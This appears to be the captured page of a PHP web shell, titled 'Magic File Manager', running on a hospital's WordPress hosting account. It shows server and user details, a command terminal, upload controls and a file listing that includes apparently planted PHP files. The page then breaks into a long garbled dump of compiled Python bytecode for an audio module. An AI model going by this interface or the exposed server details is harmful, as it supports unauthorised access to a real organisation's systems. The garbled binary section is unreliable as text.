✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log838.2 KB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
Ë â{|j.Hãóð—dZddlmZddlZejed¬«edd«ZdZd Zd Z d Z d Z d Z dZ dZdZdZdZdZdZdZee e e e egZGd„de«Zd„Zd„ZGd„d«ZGd„d«Zdd„Zy) aÚStuff to parse Sun and NeXT audio files. An audio file consists of a header followed by the data. The structure of the header is as follows. +---------------+ | magic word | +---------------+ | header size | +---------------+ | data size | +---------------+ | encoding | +---------------+ | sample rate | +---------------+ | # of channels | +---------------+ | info | | | +---------------+ The magic word consists of the 4 characters '.snd'. Apart from the info field, all header fields are 4 bytes in size. They are all 32-bit unsigned integers encoded in big-endian byte order. The header size really gives the start of the data. The data size is the physical size of the data. From the other parameters the number of frames can be calculated. The encoding gives the way in which audio samples are encoded. Possible values are listed below. The info field currently consists of an ASCII string giving a human-readable description of the audio file. The info field is padded with NUL bytes to the header size. Usage. Reading audio files: f = sunau.open(file, 'r') where file is either the name of a file or an open file pointer. The open file pointer must have methods read(), seek(), and close(). When the setpos() and rewind() methods are not used, the seek() method is not necessary. This returns an instance of a class with the following public methods: getnchannels() -- returns number of audio channels (1 for mono, 2 for stereo) getsampwidth() -- returns sample width in bytes getframerate() -- returns sampling frequency getnframes() -- returns number of audio frames getcomptype() -- returns compression type ('NONE' or 'ULAW') getcompname() -- returns human-readable version of compression type ('not compressed' matches 'NONE') getparams() -- returns a namedtuple consisting of all of the above in the above order getmarkers() -- returns None (for compatibility with the aifc module) getmark(id) -- raises an error since the mark does not exist (for compatibility with the aifc module) readframes(n) -- returns at most n frames of audio rewind() -- rewind to the beginning of the audio stream setpos(pos) -- seek to the specified position tell() -- return the current position close() -- close the instance (make it unusable) The position returned by tell() and the position given to setpos() are compatible and have nothing to do with the actual position in the file. The close() method is called automatically when the class instance is destroyed. Writing audio files: f = sunau.open(file, 'w') where file is either the name of a file or an open file pointer. The open file pointer must have methods write(), tell(), seek(), and close(). This returns an instance of a class with the following public methods: setnchannels(n) -- set the number of channels setsampwidth(n) -- set the sample width setframerate(n) -- set the frame rate setnframes(n) -- set the number of frames setcomptype(type, name) -- set the compression type and the human-readable compression type setparams(tuple)-- set all parameters at once tell() -- return current position in output file writeframesraw(data) -- write audio frames without pathing up the file header writeframes(data) -- write audio frames and patch up the file header close() -- patch up the file header and close the output file You should set the parameters before the first writeframesraw or writeframes. The total number of frames does not need to be set, but when it is set to the correct value, the header does not have to be patched up. It is best to first set all parameters, perhaps possibly the compression type, and then write audio frames using writeframesraw. When all frames have been written, either call writeframes(b'') or close() to patch up the sizes in the header. The close() method is called automatically when the class instance is destroyed. é)Ú namedtupleN)éé )ÚremoveÚ _sunau_paramsz7nchannels sampwidth framerate nframes comptype compnameidns.éérééééééééélÿÿcó —eZdZy)ÚErrorN)Ú__name__Ú __module__Ú __qualname__©óú/usr/lib64/python3.12/sunau.pyrrŒs„Ørrcó~—d}td«D],}|jd«}|st‚|dzt|«z}Œ.|S)Nrr ré)ÚrangeÚreadÚEOFErrorÚord)ÚfileÚxÚiÚbytes rÚ _read_u32r%�sC€Ø €AÜ �1ŽXˆØ�y‰y˜‹|ˆÙ܈NØ ˆc‰E”C˜“IÑ ‰ð ð €Hrcó´—g}td«D].}t|d«\}}|jdt|««|}Œ0|j t |««y)Nr rr)rÚdivmodÚinsertÚintÚwriteÚbytes)r!r"Údatar#ÚdÚms rÚ _write_u32r/˜sM€Ø €DÜ �1ŽXˆÜ�a˜‹~‰ˆˆ1Ø � ‰ �A”s˜1“vÔØ ‰ðð ‡J�JŒu�T‹{Õrcó„—eZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z d „Z d „Z d „Z d „Zd „Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zy)ÚAu_readcó�—t|t«rddl}|j|d«}d|_nd|_|j |«y)NrÚrbTF©Ú isinstanceÚstrÚbuiltinsÚopenÚ_openedÚinitfp©ÚselfÚfr7s rÚ__init__zAu_read.__init__¢ó8€Ü �aœÔ Û Ø— ‘ ˜a Ó&ˆA؈D�Là ˆDŒLØ � ‰ �A�rcó>—|jr|j«yy©N©Ú_fileÚclose©r<s rÚ__del__zAu_read.__del__«s€Ø �:Š:Ø �J‰J�Lð rcó—|SrArrEs rÚ __enter__zAu_read.__enter__¯ó€Øˆ rcó$—|j«yrA©rD©r<Úargss rÚ__exit__zAu_read.__exit__²ó €Ø � ‰ � rcóR—||_d|_tt|««}|tk7r t d«‚tt|««|_|j dkr t d«‚|j dkDr t d«‚t|«|_|jtk7rt|j«|_tt|««|_ |jtvr t d«‚|jttfvrd|_ d |_n“|jtk(rd x|_|_ nq|jt k(rdx|_|_ nO|jt"k(rd x|_|_ n-|jt$k(rd x|_|_ n t d «‚tt|««|_tt|««|_|j(s t d «‚|j|j(z|_|j dkDrH|j+|j dz «|_|j,j/d«\|_}}nd|_ |j1«|_y#t4t6f$r d|_YywxYw)Nrzbad magic numberrzheader size too smallédzheader size ridiculously largezencoding not (yet) supportedr rrr zunknown encodingzbad # of channelsór)rCÚ _soundposr)r%ÚAUDIO_FILE_MAGICrÚ _hdr_sizeÚ _data_sizeÚAUDIO_UNKNOWN_SIZEÚ _encodingÚ_simple_encodingsÚAUDIO_FILE_ENCODING_MULAW_8ÚAUDIO_FILE_ENCODING_ALAW_8Ú _sampwidthÚ _framesizeÚAUDIO_FILE_ENCODING_LINEAR_8ÚAUDIO_FILE_ENCODING_LINEAR_16ÚAUDIO_FILE_ENCODING_LINEAR_24ÚAUDIO_FILE_ENCODING_LINEAR_32Ú _framerateÚ _nchannelsrÚ_infoÚ partitionÚtellÚ _data_posÚAttributeErrorÚOSError)r<r!ÚmagicÚ_s rr:zAu_read.initfpµs€ØˆŒ ؈ŒÜ”I˜d“OÓ$ˆØ Ô$Ò $ÜÐ*Ó+Ð +ÜœY t›_Ó-ˆŒØ �>‰>˜BÒ ÜÐ/Ó0Ð 0Ø �>‰>˜CÒ ÜÐ8Ó9Ð 9Ü# D›/ˆŒØ �?‰?Ô0Ò 0Ü! $§/¡/Ó2ˆDŒOÜœY t›_Ó-ˆŒØ �>‰>Ô!2Ñ 2ÜÐ6Ó7Ð 7Ø �>‰>Ô9Ü,ð.ñ .àˆDŒO؈D�OØ �^‰^Ô;Ò ;Ø01Ð 1ˆDŒO˜d�oØ �^‰^Ô<Ò <Ø01Ð 1ˆDŒO˜d�oØ �^‰^Ô<Ò <Ø01Ð 1ˆDŒO˜d�oØ �^‰^Ô<Ò <Ø01Ð 1ˆDŒO˜d�oäÐ*Ó+Ð +Üœi¨›oÓ.ˆŒÜœi¨›oÓ.ˆŒØ�ŠÜÐ+Ó,Ð ,ØŸ/™/¨D¯O©OÑ;ˆŒØ �>‰>˜BÒ ØŸ™ 4§>¡>°BÑ#6Ó7ˆDŒJØ#Ÿz™z×3Ñ3°EÓ:Ñ ˆDŒJ˜™1àˆDŒJð "Ø!ŸY™Y›[ˆD�NøÜ¤Ð(ò "Ø!ˆDŽNð "úsÉ7J Ê J&Ê%J&có—|jSrA)rCrEs rÚgetfpz Au_read.getfpãs €Ø�z‰zÐrcó—|jSrA)rcrEs rÚ getnchannelszAu_read.getnchannelsæó €Ø�‰Ðrcó—|jSrA)r\rEs rÚ getsampwidthzAu_read.getsampwidthérprcó—|jSrA)rbrEs rÚ getframeratezAu_read.getframerateìrprcóŒ—|jtk(rtS|jtvr|j|jzSy)Nr)rVrWrXrYr]rEs rÚ getnframeszAu_read.getnframesïs8€Ø �?‰?Ô0Ò 0Ü%Ð %Ø �>‰>Ô.Ñ .Ø—?‘? d§o¡oÑ5Ð 5ØrcóT—|jtk(ry|jtk(ryy)NÚULAWÚALAWÚNONE©rXrZr[rEs rÚ getcomptypezAu_read.getcomptypeös%€Ø �>‰>Ô8Ò 8ØØ �^‰^Ô9Ò 9ØàrcóT—|jtk(ry|jtk(ryy)NúCCITT G.711 u-lawúCCITT G.711 A-lawúnot compressedr{rEs rÚ getcompnamezAu_read.getcompnameþs%€Ø �>‰>Ô8Ò 8Ø&Ø �^‰^Ô9Ò 9Ø&à#rc óÊ—t|j«|j«|j«|j «|j «|j ««SrA©rrorrrtrvr|r�rEs rÚ getparamszAu_read.getparamsóQ€Ü˜T×.Ñ.Ó0°$×2CÑ2CÓ2EØ×#Ñ#Ó% t§¡Ó'8Ø×"Ñ"Ó$ d×&6Ñ&6Ó&8ó:ð :rcó—yrArrEs rÚ getmarkerszAu_read.getmarkers s€Ørcó—td«‚)Nzno marks)r)r<Úids rÚgetmarkzAu_read.getmarks €Ü�JÓÐrcó—|jtvrä|tk(r|jj «}n(|jj ||j z«}|xj t|«|j zz c_|jtk(rXtj«5tjdt¬«ddl }ddd«j||j«}|Sy#1swYŒ(xYw)NÚignore©Úcategoryr)rXrYrWrCrr]rSÚlenrZÚwarningsÚcatch_warningsÚ simplefilterÚDeprecationWarningÚaudioopÚulaw2linr\)r<Únframesr,r”s rÚ readframeszAu_read.readframess¹€Ø �>‰>Ô.Ñ .ØÔ,Ò,Ø—z‘z—‘Ó(‘à—z‘z—‘ w°·±Ñ'@ÓA�Ø �NŠNœc $›i¨4¯?©?Ñ:Ñ :�NØ�~‰~Ô!<Ò<Ü×,Ñ,Õ.Ü×)Ñ)¨(Ô=OÕPÛ"÷/ð×'Ñ'¨¨d¯o©oÓ>�؈KØ÷ /Ð.ús Â1 C8Ã8DcóŠ—|j€ td«‚|jj|j«d|_y)Nú cannot seekr)rgrirCÚseekrSrEs rÚrewindzAu_read.rewind s2€Ø �>‰>Ð !ܘ-Ó(Ð (Ø � ‰ �‰˜Ÿ™Ô'؈�rcó—|jSrA)rSrEs rrfz Au_read.tell&ó €Ø�~‰~Ðrcóð—|dks||j«kDr td«‚|j€ td«‚|jj |j||j zz«||_y)Nrzposition not in ranger™)rvrrgrirCršr]rS)r<Úposs rÚsetposzAu_read.setpos)sa€Ø �Š7�c˜DŸO™OÓ-Ò-ÜÐ/Ó0Ð 0Ø �>‰>Ð !ܘ-Ó(Ð (Ø � ‰ �‰˜Ÿ™¨¨t¯©Ñ)>Ñ>Ô?؈�rcój—|j}|r%d|_|jr|j«yyyrA)rCr9rD©r<r!s rrDz Au_read.close1s/€Ø�z‰zˆÙ ؈DŒJØ�|Š|Ø— ‘ • ðð rN)rrrr>rFrHrNr:rmrorrrtrvr|r�r„r‡rŠr—r›rfr rDrrrr1r1 sg„òòòòò,"ò\òòòòòò$ò:ò ò ò òò òórr1có¢—eZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z d „Z d „Z d „Z d „Zd „Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zy)ÚAu_writecó�—t|t«rddl}|j|d«}d|_nd|_|j |«y)NrÚwbTFr4r;s rr>zAu_write.__init__:r?rcóJ—|jr|j«d|_yrArBrEs rrFzAu_write.__del__Cs€Ø �:Š:Ø �J‰JŒL؈� rcó—|SrArrEs rrHzAu_write.__enter__HrIrcó$—|j«yrArKrLs rrNzAu_write.__exit__KrOrcó¦—||_d|_d|_d|_d|_t |_d|_d|_d|_ d|_ d|_ y)Nrrrx) rCrbrcr\r]rWÚ_nframesÚ_nframeswrittenÚ _datawrittenÚ _datalengthrdÚ _comptyper¢s rr:zAu_write.initfpNsR€ØˆŒ ؈ŒØˆŒØˆŒØˆŒÜ*ˆŒ Ø ˆÔØˆÔØˆÔ؈Œ ؈�rcó^—|jr td«‚|dvr td«‚||_y)Nú0cannot change parameters after starting to write)rr r z"only 1, 2, or 4 channels supported)r¬rrc)r<Ú nchannelss rÚ setnchannelszAu_write.setnchannels[s2€Ø × Ò ÜÐJÓKÐ KØ ˜IÑ %ÜÐ<Ó=Ð =Ø#ˆ�rcóH—|js td«‚|jS)Nznumber of channels not set)rcrrEs rrozAu_write.getnchannelsbó€Ø�ŠÜÐ4Ó5Ð 5Ø�‰Ðrcó^—|jr td«‚|dvr td«‚||_y)Nr±)rr rr zbad sample width)r¬rr\)r<Ú sampwidths rÚ setsampwidthzAu_write.setsampwidthgs2€Ø × Ò ÜÐJÓKÐ KØ ˜LÑ (ÜÐ*Ó+Ð +Ø#ˆ�rcóH—|js td«‚|jS)Núsample width not specified)rbrr\rEs rrrzAu_write.getsampwidthnrµrcó@—|jr td«‚||_y)Nr±)r¬rrb)r<Ú framerates rÚ setframeratezAu_write.setframeratess€Ø × Ò ÜÐJÓKÐ KØ#ˆ�rcóH—|js td«‚|jS)Nzframe rate not set)rbrrEs rrtzAu_write.getframeratexs€Ø�ŠÜÐ,Ó-Ð -Ø�‰Ðrcó`—|jr td«‚|dkr td«‚||_y)Nr±rz# of frames cannot be negative)r¬rr«)r<r–s rÚ setnframeszAu_write.setnframes}s1€Ø × Ò ÜÐJÓKÐ KØ �QŠ;ÜÐ8Ó9Ð 9؈� rcó—|jSrA©r¬rEs rrvzAu_write.getnframes„ó€Ø×#Ñ#Ð#rcó0—|dvr||_ytd«‚)N)rzrxzunknown compression type)r¯r)r<ÚtypeÚnames rÚ setcomptypezAu_write.setcomptype‡s€Ø Ð#Ñ #Ø!ˆD�NäÐ2Ó3Ð 3rcó—|jSrA©r¯rEs rr|zAu_write.getcomptype�r�rcóD—|jdk(ry|jdk(ryy)Nrxr~ryrr€rÉrEs rr�zAu_write.getcompname�s#€Ø �>‰>˜VÒ #Ø&Ø �^‰^˜vÒ %Ø&à#rcó—|\}}}}}}|j|«|j|«|j|«|j|«|j ||«yrA)r³r¸r½rÀrÇ)r<Úparamsr²r·r¼r–ÚcomptypeÚcompnames rÚ setparamszAu_write.setparams˜sZ€ØGMÑDˆ �9˜i¨°(¸HØ ×ј)Ô$Ø ×ј)Ô$Ø ×ј)Ô$Ø �‰˜Ô Ø ×ј 8Õ,rc óÊ—t|j«|j«|j«|j «|j «|j ««SrArƒrEs rr„zAu_write.getparams r…rcó—|jSrArÂrEs rrfz Au_write.tell¥rÃrcó2—t|ttf«st|«j d«}|j «|j dk(rXtj«5tjdt¬«ddl }ddd«j||j«}t|«|jz}|j j#|«|j$|z|_|j&t|«z|_y#1swYŒŠxYw)NÚBrxrŒr�r)r5r+Ú bytearrayÚ memoryviewÚcastÚ_ensure_header_writtenr¯r�r‘r’r“r”Úlin2ulawr\r�r]rCr*r¬r­)r<r,r”r–s rÚwriteframesrawzAu_write.writeframesraw¨sҀܘ$¤¬ Ð 2Ô3ܘdÓ#×(Ñ(¨Ó-ˆDØ ×#Ñ#Ô%Ø �>‰>˜VÒ #Ü×(Ñ(Õ*Ü×%Ñ% hÔ9KÕLÛ÷+ð×#Ñ# D¨$¯/©/Ó:ˆDÜ�d“)˜tŸ™Ñ.ˆØ � ‰ ×Ñ˜ÔØ#×3Ñ3°gÑ=ˆÔØ ×-Ñ-´°D³ Ñ9ˆÕ÷+Ð*ús Á$ D Ä Dcó¬—|j|«|j|jk7s|j|jk7r|j «yyrA)rÙr¬r«r®r­Ú _patchheader)r<r,s rÚ writeframeszAu_write.writeframes¶sG€Ø ×јDÔ!Ø × Ñ  4§=¡=Ò 0Ø×"Ñ" d×&7Ñ&7Ò7Ø × Ñ Õ ð8rcó—|jrž |j«|j|jk7s|j|j k7r|j «|jj«|j}d|_|jr|j«yyy#|j}d|_|jr|j«wwxYwrA) rCr×r¬r«r®r­rÛÚflushr9rDr¢s rrDzAu_write.close¼s¯€Ø �:Š:ð !Ø×+Ñ+Ô-Ø×'Ñ'¨4¯=©=Ò8Ø×(Ñ(¨D×,=Ñ,=Ò=Ø×%Ñ%Ô'Ø— ‘ × Ñ Ô"à—z‘z�Ø!�” Ø—<’<Ø—J‘J•Lð ð øð—z‘z�Ø!�” Ø—<’<Ø—J‘J•Lð ús ŽA,B,Â,2CcóÈ—|jsV|js td«‚|js td«‚|js td«‚|j «yy)Nz# of channels not specifiedrºzframe rate not specified)r¬rcrr\rbÚ _write_headerrEs rr×zAu_write._ensure_header_writtenÎsU€Ø×#Ò#Ø—?’?ÜÐ9Ó:Ð:Ø—?’?ÜÐ8Ó9Ð9Ø—?’?ÜÐ6Ó7Ð7Ø × Ñ Õ ð$rcóÈ—|jdk(r|jdk(rt}d|_nŠ|jdk(rt}d|_nm|jdk(rt }d|_nP|jdk(rt }d|_n3td«‚|jdk(rt}d|_n td«‚|j|jz|_t|jt«dt|j«z}|d zd z}t|j|«|jt k(rt }n|j|jz} |jj#«|_t|j|«||_t|j|«t|j|j,«t|j|j«|jj/|j«|jj/d |t|j«z d z z«y#t&t(f$r d|_YŒèwxYw) Nrzrr rr zinternal errorrxrr iøÿÿÿrRr)r¯r\r^r]r_r`rarrZrcr/rCrTr�rdr«rWrfÚ_form_length_posrhrir®rbr*)r<ÚencodingÚ header_sizeÚlengths rràzAu_write._write_headerØsÒ€Ø �>‰>˜VÒ #Ø�‰ !Ò#Ü7�Ø"#�•Ø—‘ AÒ%Ü8�Ø"#�•Ø—‘ AÒ%Ü8�Ø"#�•Ø—‘ AÒ%Ü8�Ø"#�•äÐ,Ó-Ð-Ø �^‰^˜vÒ %Ü2ˆH؈D�OäÐ(Ó)Ð )ØŸ/™/¨D¯O©OÑ;ˆŒÜ�4—:‘:Ô/Ô0Øœ3˜tŸz™z›?Ñ*ˆ Ø" Q‘¨"Ñ,ˆ Ü�4—:‘:˜{Ô+Ø �=‰=Ô.Ò .Ü'‰Fà—]‘] T§_¡_Ñ4ˆFð )Ø$(§J¡J§O¡OÓ$5ˆDÔ !ô �4—:‘:˜vÔ&Ø!ˆÔÜ�4—:‘:˜xÔ(Ü�4—:‘:˜tŸ™Ô/Ü�4—:‘:˜tŸ™Ô/Ø � ‰ ×јŸ™Ô$Ø � ‰ ×ј  ¬c°$·*±*«oÑ =ÀÑ BÑCÕDøô¤Ð(ò )Ø$(ˆDÖ !ð )úsÅIÉI!É I!có—|j€ td«‚|jj|j«t |j|j «|j |_|jjdd«y)Nr™rr )rârirCršr/r­r®rEs rrÛzAu_write._patchheadersc€Ø × Ñ Ð (ܘ-Ó(Ð (Ø � ‰ �‰˜×-Ñ-Ô.Ü�4—:‘:˜t×0Ñ0Ô1Ø×,Ñ,ˆÔØ � ‰ �‰˜˜1ÕrN)rrrr>rFrHrNr:r³ror¸rrr½rtrÀrvrÇr|r�rÏr„rfrÙrÜrDr×ràrÛrrrr¤r¤8s�„òòò òò  ò$òò $òò $ò ò  ò$ò4ò ò$ò-ò:ò $ò :ò ò !ò$!ò(EóTrr¤cóŽ—|€t|d«r |j}nd}|dvr t|«S|dvr t|«St d«‚)NÚmoder3)Úrr3)Úwr¦z$mode must be 'r', 'rb', 'w', or 'wb')Úhasattrrèr1r¤r)r=rès rr8r8 sO€Ø €|Ü �1�fÔ Ø—6‘6‰DàˆDØ ˆ{ÑÜ�q‹zÐØ �Ñ Ü˜‹{ÐäÐ:Ó;Ð;rrA)Ú__doc__Ú collectionsrr�Ú _deprecatedrrrTrZr^r_r`raÚAUDIO_FILE_ENCODING_FLOATÚAUDIO_FILE_ENCODING_DOUBLEÚAUDIO_FILE_ENCODING_ADPCM_G721ÚAUDIO_FILE_ENCODING_ADPCM_G722Ú AUDIO_FILE_ENCODING_ADPCM_G723_3Ú AUDIO_FILE_ENCODING_ADPCM_G723_5r[rWrYÚ Exceptionrr%r/r1r¤r8rrrÚrösßðñgõR#Ûà€×Ñ�X gÕ.ñ˜?ØTóV€ ðÐØÐØ ÐØ !ÐØ !ÐØ !ÐØÐØÐØ!#ÐØ!#ÐØ#%Ð Ø#%Ð ØÐð Ðà0Ø1Ø2Ø2Ø2Ø/ð 1Ðô ˆIô ò ò÷VñV÷pPñPôd